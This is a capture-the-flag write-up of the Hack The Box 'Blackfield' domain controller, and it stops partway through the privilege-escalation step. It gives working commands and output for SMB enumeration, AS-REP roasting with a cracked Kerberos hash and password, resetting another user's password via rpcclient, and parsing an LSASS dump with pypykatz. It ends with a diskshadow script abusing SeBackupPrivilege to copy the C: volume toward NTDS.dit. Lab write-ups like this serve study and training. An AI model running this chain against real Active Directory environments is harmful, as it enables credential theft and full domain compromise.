Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-07 20:09 +08 Nmap scan report for 10.10.10.192 Host is up (0.0074s latency).
PORT STATE SERVICE VERSION 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-09-07 19:09:38Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp filtered netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 51.59 seconds
Launch smbmap login using anonymous account, found 2 files we can read
┌──(root💀kali)-[/opt/nmapAutomator] └─# smbmap -H 10.10.10.192 -u anonymous 2 ⨯ [+] Guest session IP: 10.10.10.192:445 Name: 10.10.10.192 Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share forensic NO ACCESS Forensic / Audit share. IPC$ READ ONLY Remote IPC NETLOGON NO ACCESS Logon server share profiles$ READ ONLY SYSVOL NO ACCESS Logon server share
Access to profiles$
We found tons of user name, use along with awk command we collect the usernames
smbclient \\\\10.10.10.192\\profiles$ -c ls | awk '{print $1}' > user.lst
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$support@BLACKFIELD.LOCAL:d3f58a3eb5d36dc74f2c4a4335a5ce3e$06ce4ccf78e620d6e2e9994bd546f519cabec98dd1879365456bcee2081d7f0579d8e6b20d7b0e5750c533de72b48404ad38bf2241acc01cdf9e1868717cb01142ab131ebda7de2a0916a141ba5b1fd1b8e0895833ea57ce4b01cd93900eba7c4bab1e1a8dfcdb471486fedc1f731b5e65f38219e37883274350288d916e18f43359a170dd9aa3ef22d53c399378ed3467467211d6be448ee73983abe6cf7998725bfa70b7de45969715c15417af5249ebe9dd16332222f17101bbb1bdbfc2d32ac2bc319302911973a88a2b67fd425092e0f31329d04fd9eca106a97f2265185f6ae6c8ca8e747272dcad410bfbedac0275ed12 [-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set [-] invalid principal syntax
Save the hash and use john to crack it.
We got the creds support:#00^BlackKnight
┌──(root💀kali)-[~/Desktop/hackthebox/Windows/blackfield] └─# john --wordlist=/usr/share/wordlists/rockyou.txt user_hash Using default input encoding: UTF-8 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status #00^BlackKnight ($krb5asrep$23$support@BLACKFIELD.LOCAL) 1g 0:00:00:16 DONE (2020-09-07 21:30) 0.06203g/s 889266p/s 889266c/s 889266C/s #1ByNature..#*burberry#*1990 Use the "--show" option to display all of the cracked passwords reliably Session completed
Try login using winrm port, but it failed.
Let’s go back to use new credentials to smb server
┌──(root💀kali)-[~/Desktop/hackthebox/Windows/blackfield] └─# smbmap -H 10.10.10.192 -u support -p "#00^BlackKnight" 2 ⨯ [+] IP: 10.10.10.192:445 Name: BLACKFIELD.local Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share forensic NO ACCESS Forensic / Audit share. IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share profiles$ READ ONLY SYSVOL READ ONLY Logon server share
Make a change to user audit2020 password to Ikonw123!
rpcclient $> setuserinfo2 Usage: setuserinfo2 username level password [password_expired] result was NT_STATUS_INVALID_PARAMETER rpcclient $> setuserinfo2 audit2020 23 Ikonw123!
Sadly, we still not able login using winrm but we can access audit2020‘s smb share again.
yeah smb share againnnn.
This time round, forensic folder is available to us
┌──(root💀kali)-[/opt/nmapAutomator/10.10.10.192/nmap] └─# smbmap -H 10.10.10.192 -u audit2020 -p Ikonw123! [+] IP: 10.10.10.192:445 Name: BLACKFIELD.local Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share forensic READ ONLY Forensic / Audit share. IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share profiles$ READ ONLY SYSVOL READ ONLY Logon server share
┌──(root💀kali)-[/opt/nmapAutomator/10.10.10.192/nmap] └─# smbclient \\\\10.10.10.192\\forensic -U audit2020 Enter WORKGROUP\audit2020's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Sun Feb 23 21:03:16 2020 .. D 0 Sun Feb 23 21:03:16 2020 commands_output D 0 Mon Feb 24 02:14:37 2020 memory_analysis D 0 Fri May 29 04:28:33 2020 tools D 0 Sun Feb 23 21:39:08 2020
7846143 blocks of size 4096. 3978511 blocks available smb: \>
Alright, it seems tons of files. Download the folder to local (If your internet connection is slow, you might also consider just mount the smb directory to local)
recurseON promptOFF mget *
A DMP file is a file that contains data “dumped” from a program’s memory space. It is often created when a program has an error or crashes and may also be saved by the program “Savedump.exe” on the first reboot after a crash. DMP files are usually named “Memory.dmp.”
pypykatz has the ability to parse the secrets hidden in the LSASS process, it is just something like mimikatz’s sekurlsa::
pypykatz lsa minidump lsass.DMP
and we actually got the password hash for user svc_backup
After checking the user’s privileges, found out that SeBackupPrivilege is enabled.
SeBackupPrivilege Description: This privilege causes the system to grant all read access control to any file, regardless of the access control list (ACL) specified for the file.
Firstly, I tried the vssadmin, well I don’t have the privilege
Error: You don't have the correct permissions to run this command. Please run this utility from a command window that has elevated administrator privileges.
Members of “Backup Operators” can logon locally on a Domain Controller and backup the NTDS.DIT, for ex. with: “wbadmin.exe” or “diskshadow.exe
As I read carefully, found out that diskshadow allow us to create a new shadow disk copy of the disk C and expose it as another driver
shadow_copy.txt
set context persistent nowriters add volume c: alias ikonw create expose %ikonw% z:
However it has error
-> set context persistent nowriter <<--- shudnt it be nowriters?
CLIENTACCESSIBLE Specify tocreate shadow copies usable by client versions of Windows. PERSISTENT Specify that shadow copyis persist across program exit, resetor reboot. PERSISTENT NOWRITERS Specify that shadow copyis persistent andall writers are excluded. VOLATILE Specify that shadow copy will be deleted onexitorreset. VOLATILE NOWRITERS Specify that shadow copyisvolatileandall writers are excluded.
Example: SET CONTEXT CLIENTACCESSIBLE
Add extra character behind
set context persistent nowriterss add volume c: alias ikonww createe expose %ikonw% z::
However one more error!!
The .cab metadata file cannot be stored inthe current working directory, because it is read-only.
ermmm, maybe I am in the document directory
create a temp folder at C:\temp
Finally, we successfully create the shadow disk at Z: drive
*Evil-WinRM* PS C:\temp> diskshadow /s shadow_copy.txt Microsoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: DC01, 9/8/2020 5:40:45 AM
-> set context persistent nowriters -> add volume c: alias ikonw -> create Alias ikonw for shadow ID {f3ecf98c-d3cb-4ffe-8dc8-b613d3ab5922} set as environment variable. Alias VSS_SHADOW_SET for shadow set ID {115480f7-6f83-46ee-8ea6-4fcf8bcb1d81} set as environment variable.
Querying all shadow copies with the shadow copy set ID {115480f7-6f83-46ee-8ea6-4fcf8bcb1d81}
* Shadow copy ID = {f3ecf98c-d3cb-4ffe-8dc8-b613d3ab5922} %ikonw% - Shadow copy set: {115480f7-6f83-46ee-8ea6-4fcf8bcb1d81} %VSS_SHADOW_SET% - Original count of shadow copies = 1 - Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\] - Creation time: 9/8/2020 5:40:45 AM - Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2 - Originating machine: DC01.BLACKFIELD.local - Service machine: DC01.BLACKFIELD.local - Not exposed - Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5} - Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1 -> expose %ikonw% z: -> %ikonw% = {f3ecf98c-d3cb-4ffe-8dc8-b613d3ab5922} The shadow copy was successfully exposed as z:\. ->
The z: drive shadow folder permission also inherited from the C:, we dont have the permission to download the files.
If you want to read/copy data out of a “normally forbidden” folder, you have to act as a backup software. The shell copy command won’t work; you’ll need to open the source file manually using CreateFile making sure to specify the FILE_FLAG_BACKUP_SEMANTICS flag.
